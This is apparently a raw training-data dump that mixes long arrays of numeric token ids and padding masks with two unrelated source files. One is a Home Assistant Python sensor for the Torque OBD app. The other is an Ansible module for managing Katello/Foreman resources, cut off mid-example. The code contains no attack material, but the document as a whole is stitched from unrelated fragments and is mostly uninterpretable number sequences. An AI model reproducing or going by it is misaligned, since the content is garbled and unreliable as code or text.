3, 3886, 1715, 30, 373, 28, 3221, 30, 3794, 1674, 199, 3, 1360, 63, 1213, 275, 488, 199, 199, 3, 437, 18299, 2538, 367, 314, 19191, 4681, 14, 221, 3758, 365, 314, 2011, 465, 3517, 63, 1213, 14, 199, 3, 1360, 63, 3612, 63, 1213, 275, 488, 199, 199, 3, 710, 536, 402, 376, 1834, 570, 334, 6188, 370, 642, 2082, 9, 370, 4192, 737, 314, 2746, 199, 3, 402, 314, 18437, 14, 199, 3, 1360, 63, 9733, 275, 488, 199, 199, 3, 710, 536, 402, 376, 1834, 570, 334, 12541, 314, 2955, 931, 9, 370, 675, 465 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 799, 1122, 3794, 1900, 2897, 570, 12, 2737, 701, 199, 3, 15882, 13, 28957, 641, 10953, 25298, 3144, 3193, 26, 1717, 26, 1602, 6171, 14, 199, 3, 199, 3, 961, 570, 365, 22711, 342, 68, 543, 314, 1453, 2082, 663, 370, 2399, 3035, 2935, 14, 199, 3, 199, 3, 3390, 626, 440, 1006, 3962, 2897, 1338, 787, 3451, 315, 642, 199, 3, 18392, 570, 14, 199, 3, 199, 3, 2900, 2897, 1338, 1172, 282, 849, 27, 1338, 626, 787, 21804, 734, 199, 3, 14062, 370, 2498, 314, 849, 14, 199, 199, 646, 984, 199, 646, 747, 199, 199, 3, 982, 5478, 334, 269, 4621, 370, 2213, 543, 29973, 9, 787, 315, 4573, 2082, 12, 199, 3, 1050, 3520, 6602, 370, 984, 14, 515, 2348, 14, 982, 314, 2082, 365, 3847, 370, 314, 199, 3, 3794, 1738, 12, 675, 747, 14, 515, 14, 4832, 370, 1852, 652, 3679, 12, 2839, 9164, 2348, 14, 199, 1274, 14, 515, 14, 3176, 8, 16, 12, 747, 14, 515, 14, 4832, 24592, 703, 1333, 199, 199, 3, 1553, 1696, 2897, 9527, 9858, 199, 199, 3, 982, 2195, 3794, 4839, 282, 13460, 10229, 1015, 12, 1174, 652, 2348, 14, 199, 3, 10065, 63, 8008, 275, 283, 17, 14, 16, 7, 199, 199, 3, 2654, 1263, 10229, 3329, 859, 1561, 2348, 12, 465, 3326, 14, 9322, 883, 506, 5478, 199, 3, 17262, 543, 10229, 334, 4579, 283, 8008, 14, 832, 24915, 503, 2195, 3537, 7869, 14, 199, 5359, 275, 788, 8008, 14, 832, 14, 28056, 418, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 7009, 2348, 12, 3847, 370, 642, 2082, 14, 199, 5876, 63, 515, 275, 4044, 5876, 418, 199, 199, 3, 710, 4739, 402, 1350, 6203, 14, 199, 1365, 63, 4511, 275, 1987, 8332, 7, 199, 199, 3, 710, 2644, 402, 1350, 1584, 14, 199, 3, 1365, 63, 2991, 275, 283, 1624, 13, 24, 13, 4093, 7, 199, 199, 3, 710, 5288, 28310, 2213, 14, 199, 4133, 63, 1301, 275, 283, 1080, 7, 199, 199, 3, 1696, 2556, 3595, 314, 2199, 14, 199, 1715, 275, 399, 7, 497, 1122, 7, 199, 7307, 275, 399, 7, 6965, 12, 6061, 89, 2799, 482, 7, 199, 199, 3, 710, 1015, 2256, 367, 314, 2199, 1265, 3984, 29904, 12, 17795, 465, 8343, 367, 199, 3, 1204, 1023, 92, 436, 1204, 3221, 18712, 2597, 1202, 315, 7750, 1163, 9825, 23088, 314, 199, 3, 6137, 8247, 14, 199, 3, 199, 3, 710, 3974, 1323, 14, 57, 1015, 14, 199, 1023, 275, 283, 19, 14, 16, 7, 199, 3, 710, 2615, 1015, 12, 5893, 5131, 15, 5683, 15, 1195, 3762, 14, 199, 3221, 275, 283, 19, 14, 16, 7, 199, 199, 3, 710, 2637, 367, 1564, 18392, 701, 10229, 14, 21751, 370, 3794, 199, 3, 367, 282, 769, 402, 3748, 10815, 14, 199, 3, 3671, 275, 488, 199, 199, 3, 6006, 787, 2877, 1511, 367, 15810, 1204, 8136, 25004, 1902, 12, 1265, 663, 11168, 370, 2005, 199, 3, 2222, 13, 3910, 574, 12, 2066, 652, 365, 1202, 26, 199, 3, 8136, 275, 2125, 199, 3, 19524, 12, 11168, 63, 5045, 365, 1202, 465, 314, 1475, 367, 282, 14053, 1240, 14, 199, 3, 8136, 63, 5045, 275, 1543, 34, 450, 68, 12, 450, 57, 7, 199, 199, 3, 3820, 402, 7970, 12, 3847, 370, 1350, 2082, 12, 626, 1336, 1584, 436, 199, 3, 6602, 370, 3686, 1380, 10023, 367, 1350, 1584, 14, 199, 5473, 63, 7435, 275, 942, 199, 199, 3, 710, 20883, 849, 4719, 334, 2972, 367, 642, 9189, 26, 658, 505, 10522, 370, 675, 367, 1006, 8247, 14, 199, 3, 885, 63, 3756, 275, 488, 199, 199, 3, 982, 2549, 12, 26380, 911, 506, 11544, 370, 520, 1532, 26, 5423, 14, 8059, 13, 4443, 1318, 14, 199, 3, 525, 63, 1593, 63, 25510, 275, 715, 199, 199, 3, 982, 2549, 12, 314, 1453, 859, 536, 911, 506, 20247, 370, 1006, 1369, 199, 3, 4137, 16194, 334, 10180, 465, 2508, 805, 32469, 199, 3, 525, 63, 578, 63, 1247, 275, 715, 199, 199, 3, 982, 2549, 12, 3420, 2502, 436, 28966, 13502, 911, 506, 9164, 315, 314, 199, 3, 1072, 14, 9322, 787, 5525, 701, 849, 14, 199, 3, 2384, 63, 8149, 275, 756, 199, 199, 3, 710, 536, 402, 314, 14493, 334, 7093, 22437, 9, 3449, 370, 675, 14, 199, 12173, 63, 2487, 275, 283, 8008, 7, 199, 199, 3, 437, 769, 402, 5525, 13158, 367, 859, 1478, 13351, 14, 199, 3, 27555, 63, 2330, 63, 1861, 275, 942, 199, 199, 3, 982, 2549, 12, 4215, 3598, 465, 298, 2253, 1245, 2, 26603, 315, 314, 6137, 8247, 14, 199, 3, 3250, 63, 5451, 275, 756, 421, 199, 3, 1553, 8394, 367, 4163, 1072, 9527, 2595, 199, 199, 3, 710, 8879, 370, 675, 367, 4163, 436, 4163, 15456, 6497, 14, 221, 1666, 314, 3794, 367, 199, 3, 282, 769, 402, 6762, 17915, 14, 199, 1360, 63, 7915, 275, 283, 7873, 285, 7, 199, 1360, 63, 7915, 63, 515, 275, 359, 1674, 937, 199, 199, 3, 23978, 1511, 787, 8879, 13, 6100, 436, 17551, 314, 3648, 436, 23109, 402, 282, 8879, 199, 3, 9848, 14, 221, 2104, 282, 769, 402, 1511, 2808, 367, 1924, 8879, 12, 1937, 314, 199, 3, 3794, 14, 199, 3, 1360, 63, 7915, 63, 1419, 275, 1052, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 3537, 17915, 2348, 12, 3847, 370, 642, 2082, 14, 199, 3, 1360, 63, 7915, 63, 515, 275, 942, 199, 199, 3, 710, 536, 367, 642, 663, 402, 10229, 8247, 14, 221, 982, 488, 12, 652, 4243, 370, 199, 3, 3886, 1715, 30, 373, 28, 3221, 30, 3794, 1674, 199, 3, 1360, 63, 1213, 275, 488, 199, 199, 3, 437, 18299, 2538, 367, 314, 19191, 4681, 14, 221, 3758, 365, 314, 2011, 465, 3517, 63, 1213, 14, 199, 3, 1360, 63, 3612, 63, 1213, 275, 488, 199, 199, 3, 710, 536, 402, 376, 1834, 570, 334, 6188, 370, 642, 2082, 9, 370, 4192, 737, 314, 2746, 199, 3, 402, 314, 18437, 14, 199, 3, 1360, 63, 9733, 275, 488, 199, 199, 3, 710, 536, 402, 376, 1834, 570, 334, 12541, 314, 2955, 931, 9, 370, 675, 465, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Zyell/home-assistant
homeassistant/components/sensor/torque.py
5
3109
""" Support for the Torque OBD application. For more details about this platform, please refer to the documentation at https://home-assistant.io/components/sensor.torque/ """ import re from homeassistant.const import HTTP_OK from homeassistant.helpers.entity import Entity DOMAIN = 'torque' DEPENDENCIES = ['http'] SENSOR_EMAIL_FIELD = 'eml' DEFAULT_NAME = 'vehicle' ENTITY_NAME_FORMAT = '{0} {1}' API_PATH = '/api/torque' SENSOR_NAME_KEY = r'userFullName(\w+)' SENSOR_UNIT_KEY = r'userUnit(\w+)' SENSOR_VALUE_KEY = r'k(\w+)' NAME_KEY = re.compile(SENSOR_NAME_KEY) UNIT_KEY = re.compile(SENSOR_UNIT_KEY) VALUE_KEY = re.compile(SENSOR_VALUE_KEY) def decode(value): """Double-decode required.""" return value.encode('raw_unicode_escape').decode('utf-8') def convert_pid(value): """Convert pid from hex string to integer.""" return int(value, 16) # pylint: disable=unused-argument def setup_platform(hass, config, add_devices, discovery_info=None): """Setup Torque platform.""" vehicle = config.get('name', DEFAULT_NAME) email = config.get('email', None) sensors = {} def _receive_data(handler, path_match, data): """Received data from Torque.""" handler.send_response(HTTP_OK) handler.end_headers() if email is not None and email != data[SENSOR_EMAIL_FIELD]: return names = {} units = {} for key in data: is_name = NAME_KEY.match(key) is_unit = UNIT_KEY.match(key) is_value = VALUE_KEY.match(key) if is_name: pid = convert_pid(is_name.group(1)) names[pid] = decode(data[key]) elif is_unit: pid = convert_pid(is_unit.group(1)) units[pid] = decode(data[key]) elif is_value: pid = convert_pid(is_value.group(1)) if pid in sensors: sensors[pid].on_update(data[key]) for pid in names: if pid not in sensors: sensors[pid] = TorqueSensor( ENTITY_NAME_FORMAT.format(vehicle, names[pid]), units.get(pid, None)) add_devices([sensors[pid]]) hass.http.register_path('GET', API_PATH, _receive_data) return True class TorqueSensor(Entity): """Representation of a Torque sensor.""" def __init__(self, name, unit): """Initialize the sensor.""" self._name = name self._unit = unit self._state = None @property def name(self): """Return the name of the sensor.""" return self._name @property def unit_of_measurement(self): """Return the unit of measurement.""" return self._unit @property def state(self): """Return the state of the sensor.""" return self._state @property def icon(self): """Return the default icon of the sensor.""" return 'mdi:car' def on_update(self, value): """Receive an update.""" self._state = value self.update_ha_state()
mit
[ 624, 199, 11532, 367, 314, 29659, 544, 593, 11156, 4223, 14, 199, 199, 1858, 1655, 2436, 3595, 642, 4298, 12, 8749, 10618, 370, 314, 3794, 737, 199, 2859, 921, 4219, 13, 7310, 14, 2308, 15, 4608, 15, 8956, 14, 8270, 544, 15, 199, 624, 199, 199, 646, 295, 199, 199, 504, 8846, 14, 1297, 492, 3101, 63, 3593, 199, 504, 8846, 14, 7546, 14, 4502, 492, 17680, 199, 199, 7378, 275, 283, 8270, 544, 7, 199, 25743, 9415, 2563, 275, 788, 1014, 418, 199, 24151, 63, 10089, 63, 8609, 275, 283, 69, 757, 7, 199, 3472, 63, 2339, 275, 283, 20073, 7, 199, 13630, 63, 2339, 63, 4807, 275, 5041, 16, 93, 469, 17, 6834, 199, 199, 3735, 63, 3243, 275, 1994, 1246, 15, 8270, 544, 7, 199, 24151, 63, 2339, 63, 3078, 275, 519, 7, 751, 27379, 2961, 87, 29600, 199, 24151, 63, 15505, 63, 3078, 275, 519, 7, 751, 5072, 2961, 87, 29600, 199, 24151, 63, 7041, 63, 3078, 275, 519, 7, 75, 2961, 87, 29600, 199, 199, 2339, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 2339, 63, 3078, 9, 199, 15505, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 15505, 63, 3078, 9, 199, 7041, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 7041, 63, 3078, 9, 421, 199, 318, 4849, 8, 585, 304, 272, 408, 7281, 13, 2708, 1415, 1041, 272, 372, 574, 14, 2143, 360, 1773, 63, 2975, 63, 3765, 1959, 2708, 360, 1624, 13, 24, 358, 421, 199, 318, 3957, 63, 3150, 8, 585, 304, 272, 408, 7306, 4422, 687, 6318, 1059, 370, 3000, 1041, 272, 372, 1109, 8, 585, 12, 3193, 9, 421, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 318, 3272, 63, 3246, 8, 5387, 12, 1101, 12, 1050, 63, 6410, 12, 13172, 63, 815, 29, 403, 304, 272, 408, 8555, 29659, 544, 4298, 1041, 272, 27616, 275, 1101, 14, 362, 360, 354, 297, 6186, 63, 2339, 9, 272, 3031, 275, 1101, 14, 362, 360, 2123, 297, 488, 9, 272, 19678, 275, 1052, 339, 347, 485, 9391, 63, 576, 8, 2232, 12, 931, 63, 1431, 12, 666, 304, 267, 408, 9392, 666, 687, 29659, 544, 1041, 267, 3016, 14, 2254, 63, 1310, 8, 2856, 63, 3593, 9, 267, 3016, 14, 500, 63, 2139, 342, 398, 340, 3031, 365, 440, 488, 436, 3031, 1137, 666, 59, 24151, 63, 10089, 63, 8609, 2189, 288, 372, 398, 1561, 275, 1052, 267, 6204, 275, 1052, 267, 367, 790, 315, 666, 26, 288, 365, 63, 354, 275, 13637, 63, 3078, 14, 1431, 8, 498, 9, 288, 365, 63, 3248, 275, 25836, 63, 3078, 14, 1431, 8, 498, 9, 288, 365, 63, 585, 275, 21170, 63, 3078, 14, 1431, 8, 498, 9, 953, 340, 365, 63, 354, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 354, 14, 923, 8, 17, 430, 355, 1561, 59, 3150, 61, 275, 4849, 8, 576, 59, 498, 566, 288, 916, 365, 63, 3248, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 3248, 14, 923, 8, 17, 430, 355, 6204, 59, 3150, 61, 275, 4849, 8, 576, 59, 498, 566, 288, 916, 365, 63, 585, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 585, 14, 923, 8, 17, 430, 355, 340, 4422, 315, 19678, 26, 490, 19678, 59, 3150, 1055, 265, 63, 873, 8, 576, 59, 498, 566, 398, 367, 4422, 315, 1561, 26, 288, 340, 4422, 440, 315, 19678, 26, 355, 19678, 59, 3150, 61, 275, 29659, 544, 10160, 8, 490, 32526, 1922, 63, 2339, 63, 4807, 14, 908, 8, 20073, 12, 1561, 59, 3150, 2522, 490, 6204, 14, 362, 8, 3150, 12, 488, 430, 355, 1050, 63, 6410, 779, 22675, 59, 3150, 3934, 339, 6298, 14, 1014, 14, 2683, 63, 515, 360, 2970, 297, 3261, 63, 3243, 12, 485, 9391, 63, 576, 9, 272, 372, 715, 421, 199, 533, 29659, 544, 10160, 8, 7302, 304, 272, 408, 20609, 402, 282, 29659, 544, 8778, 1041, 339, 347, 636, 826, 721, 277, 12, 536, 12, 4137, 304, 267, 408, 9345, 314, 8778, 1041, 267, 291, 423, 354, 275, 536, 267, 291, 423, 3248, 275, 4137, 267, 291, 423, 929, 275, 488, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 1767, 314, 536, 402, 314, 8778, 1041, 267, 372, 291, 423, 354, 339, 768, 1829, 272, 347, 4137, 63, 1618, 63, 17912, 8, 277, 304, 267, 408, 1767, 314, 4137, 402, 18216, 1041, 267, 372, 291, 423, 3248, 339, 768, 1829, 272, 347, 1174, 8, 277, 304, 267, 408, 1767, 314, 1174, 402, 314, 8778, 1041, 267, 372, 291, 423, 929, 339, 768, 1829, 272, 347, 7016, 8, 277, 304, 267, 408, 1767, 314, 849, 7016, 402, 314, 8778, 1041, 267, 372, 283, 20208, 26, 7007, 7, 339, 347, 641, 63, 873, 8, 277, 12, 574, 304, 267, 408, 14235, 376, 1678, 1041, 267, 291, 423, 929, 275, 574, 267, 291, 14, 873, 63, 2411, 63, 929, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 11532, 367, 314, 29659, 544, 593, 11156, 4223, 14, 199, 199, 1858, 1655, 2436, 3595, 642, 4298, 12, 8749, 10618, 370, 314, 3794, 737, 199, 2859, 921, 4219, 13, 7310, 14, 2308, 15, 4608, 15, 8956, 14, 8270, 544, 15, 199, 624, 199, 199, 646, 295, 199, 199, 504, 8846, 14, 1297, 492, 3101, 63, 3593, 199, 504, 8846, 14, 7546, 14, 4502, 492, 17680, 199, 199, 7378, 275, 283, 8270, 544, 7, 199, 25743, 9415, 2563, 275, 788, 1014, 418, 199, 24151, 63, 10089, 63, 8609, 275, 283, 69, 757, 7, 199, 3472, 63, 2339, 275, 283, 20073, 7, 199, 13630, 63, 2339, 63, 4807, 275, 5041, 16, 93, 469, 17, 6834, 199, 199, 3735, 63, 3243, 275, 1994, 1246, 15, 8270, 544, 7, 199, 24151, 63, 2339, 63, 3078, 275, 519, 7, 751, 27379, 2961, 87, 29600, 199, 24151, 63, 15505, 63, 3078, 275, 519, 7, 751, 5072, 2961, 87, 29600, 199, 24151, 63, 7041, 63, 3078, 275, 519, 7, 75, 2961, 87, 29600, 199, 199, 2339, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 2339, 63, 3078, 9, 199, 15505, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 15505, 63, 3078, 9, 199, 7041, 63, 3078, 275, 295, 14, 2014, 8, 24151, 63, 7041, 63, 3078, 9, 421, 199, 318, 4849, 8, 585, 304, 272, 408, 7281, 13, 2708, 1415, 1041, 272, 372, 574, 14, 2143, 360, 1773, 63, 2975, 63, 3765, 1959, 2708, 360, 1624, 13, 24, 358, 421, 199, 318, 3957, 63, 3150, 8, 585, 304, 272, 408, 7306, 4422, 687, 6318, 1059, 370, 3000, 1041, 272, 372, 1109, 8, 585, 12, 3193, 9, 421, 199, 3, 4287, 26, 3507, 29, 8618, 13, 2094, 199, 318, 3272, 63, 3246, 8, 5387, 12, 1101, 12, 1050, 63, 6410, 12, 13172, 63, 815, 29, 403, 304, 272, 408, 8555, 29659, 544, 4298, 1041, 272, 27616, 275, 1101, 14, 362, 360, 354, 297, 6186, 63, 2339, 9, 272, 3031, 275, 1101, 14, 362, 360, 2123, 297, 488, 9, 272, 19678, 275, 1052, 339, 347, 485, 9391, 63, 576, 8, 2232, 12, 931, 63, 1431, 12, 666, 304, 267, 408, 9392, 666, 687, 29659, 544, 1041, 267, 3016, 14, 2254, 63, 1310, 8, 2856, 63, 3593, 9, 267, 3016, 14, 500, 63, 2139, 342, 398, 340, 3031, 365, 440, 488, 436, 3031, 1137, 666, 59, 24151, 63, 10089, 63, 8609, 2189, 288, 372, 398, 1561, 275, 1052, 267, 6204, 275, 1052, 267, 367, 790, 315, 666, 26, 288, 365, 63, 354, 275, 13637, 63, 3078, 14, 1431, 8, 498, 9, 288, 365, 63, 3248, 275, 25836, 63, 3078, 14, 1431, 8, 498, 9, 288, 365, 63, 585, 275, 21170, 63, 3078, 14, 1431, 8, 498, 9, 953, 340, 365, 63, 354, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 354, 14, 923, 8, 17, 430, 355, 1561, 59, 3150, 61, 275, 4849, 8, 576, 59, 498, 566, 288, 916, 365, 63, 3248, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 3248, 14, 923, 8, 17, 430, 355, 6204, 59, 3150, 61, 275, 4849, 8, 576, 59, 498, 566, 288, 916, 365, 63, 585, 26, 355, 4422, 275, 3957, 63, 3150, 8, 374, 63, 585, 14, 923, 8, 17, 430, 355, 340, 4422, 315, 19678, 26, 490, 19678, 59, 3150, 1055, 265, 63, 873, 8, 576, 59, 498, 566, 398, 367, 4422, 315, 1561, 26, 288, 340, 4422, 440, 315, 19678, 26, 355, 19678, 59, 3150, 61, 275, 29659, 544, 10160, 8, 490, 32526, 1922, 63, 2339, 63, 4807, 14, 908, 8, 20073, 12, 1561, 59, 3150, 2522, 490, 6204, 14, 362, 8, 3150, 12, 488, 430, 355, 1050, 63, 6410, 779, 22675, 59, 3150, 3934, 339, 6298, 14, 1014, 14, 2683, 63, 515, 360, 2970, 297, 3261, 63, 3243, 12, 485, 9391, 63, 576, 9, 272, 372, 715, 421, 199, 533, 29659, 544, 10160, 8, 7302, 304, 272, 408, 20609, 402, 282, 29659, 544, 8778, 1041, 339, 347, 636, 826, 721, 277, 12, 536, 12, 4137, 304, 267, 408, 9345, 314, 8778, 1041, 267, 291, 423, 354, 275, 536, 267, 291, 423, 3248, 275, 4137, 267, 291, 423, 929, 275, 488, 339, 768, 1829, 272, 347, 536, 8, 277, 304, 267, 408, 1767, 314, 536, 402, 314, 8778, 1041, 267, 372, 291, 423, 354, 339, 768, 1829, 272, 347, 4137, 63, 1618, 63, 17912, 8, 277, 304, 267, 408, 1767, 314, 4137, 402, 18216, 1041, 267, 372, 291, 423, 3248, 339, 768, 1829, 272, 347, 1174, 8, 277, 304, 267, 408, 1767, 314, 1174, 402, 314, 8778, 1041, 267, 372, 291, 423, 929, 339, 768, 1829, 272, 347, 7016, 8, 277, 304, 267, 408, 1767, 314, 849, 7016, 402, 314, 8778, 1041, 267, 372, 283, 20208, 26, 7007, 7, 339, 347, 641, 63, 873, 8, 277, 12, 574, 304, 267, 408, 14235, 376, 1678, 1041, 267, 291, 423, 929, 275, 574, 267, 291, 14, 873, 63, 2411, 63, 929, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
noroutine/ansible
lib/ansible/modules/remote_management/foreman/katello.py
56
16541
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2016, Eric D Helms <ericdhelms@gmail.com> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: katello short_description: Manage Katello Resources description: - Allows the management of Katello resources inside your Foreman server. version_added: "2.3" author: - Eric D Helms (@ehelms) requirements: - nailgun >= 0.28.0 - python >= 2.6 - datetime options: server_url: description: - URL of Foreman server. required: true username: description: - Username on Foreman server. required: true password: description: - Password for user accessing Foreman server. required: true entity: description: - The Foreman resource that the action will be performed on (e.g. organization, host). required: true params: description: - Parameters associated to the entity resource to set or edit in dictionary format (e.g. name, description). required: true ''' EXAMPLES = ''' --- # Simple Example: - name: Create Product katello: username: admin password: admin server_url: https://fakeserver.com entity: product params: name: Centos 7 delegate_to: localhost # Abstraction Example: # katello.yml --- - name: "{{ name }}" katello: username: admin password: admin server_url: https://fakeserver.com entity: "{{ entity }}" params: "{{ params }}" delegate_to: localhost # tasks.yml --- - include: katello.yml vars: name: Create Dev Environment entity: lifecycle_environment params: name: Dev prior: Library organization: Default Organization - include: katello.yml vars: name: Create Centos Product entity: product params: name: Centos 7 organization: Default Organization - include: katello.yml vars: name: Create 7.2 Repository entity: repository params: name: Centos 7.2 product: Centos 7 organization: Default Organization content_type: yum url: http://mirror.centos.org/centos/7/os/x86_64/ - include: katello.yml vars: name: Create Centos 7 View entity: content_view params: name: Centos 7 View organization: Default Organization repositories: - name: Centos 7.2 product: Centos 7 - include: katello.yml vars: name: Enable RHEL Product entity: repository_set params: name: Red Hat Enterprise Linux 7 Server (RPMs) 